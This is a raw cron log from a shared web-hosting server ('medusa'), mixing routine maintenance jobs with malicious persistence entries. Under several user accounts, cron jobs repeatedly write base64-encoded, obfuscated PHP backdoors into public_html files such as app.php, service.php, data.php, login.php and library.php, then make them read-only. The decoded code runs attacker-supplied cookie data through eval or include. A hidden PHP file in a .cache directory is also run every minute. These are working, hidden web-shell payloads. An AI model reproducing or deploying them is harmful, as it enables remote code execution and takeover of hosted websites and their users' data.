Jun  7 09:40:02 medusa CROND[27125]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:40:02 medusa CROND[27129]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:40:02 medusa CROND[27130]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 09:40:02 medusa CROND[27131]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 09:40:02 medusa CROND[27134]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:40:02 medusa CROND[27135]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 09:40:02 medusa CROND[27146]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:40:02 medusa CROND[27147]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 09:40:02 medusa CROND[27138]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 09:41:01 medusa CROND[29246]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:41:02 medusa CROND[29260]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 09:41:02 medusa CROND[29261]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:41:02 medusa CROND[29262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:41:02 medusa CROND[29263]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:41:02 medusa CROND[29259]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 09:41:02 medusa CROND[29265]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:41:02 medusa CROND[29272]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:41:02 medusa CROND[29277]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:41:02 medusa CROND[29279]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:41:02 medusa CROND[29278]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:41:02 medusa CROND[29282]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 09:41:02 medusa CROND[29284]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:41:02 medusa CROND[29270]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:42:01 medusa CROND[31077]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:42:01 medusa CROND[31078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:42:01 medusa CROND[31079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:42:01 medusa CROND[31081]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:42:01 medusa CROND[31082]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:42:01 medusa CROND[31086]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:42:01 medusa CROND[31092]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:42:01 medusa CROND[31095]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:42:01 medusa CROND[31094]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 09:42:01 medusa CROND[31098]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:42:01 medusa CROND[31093]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
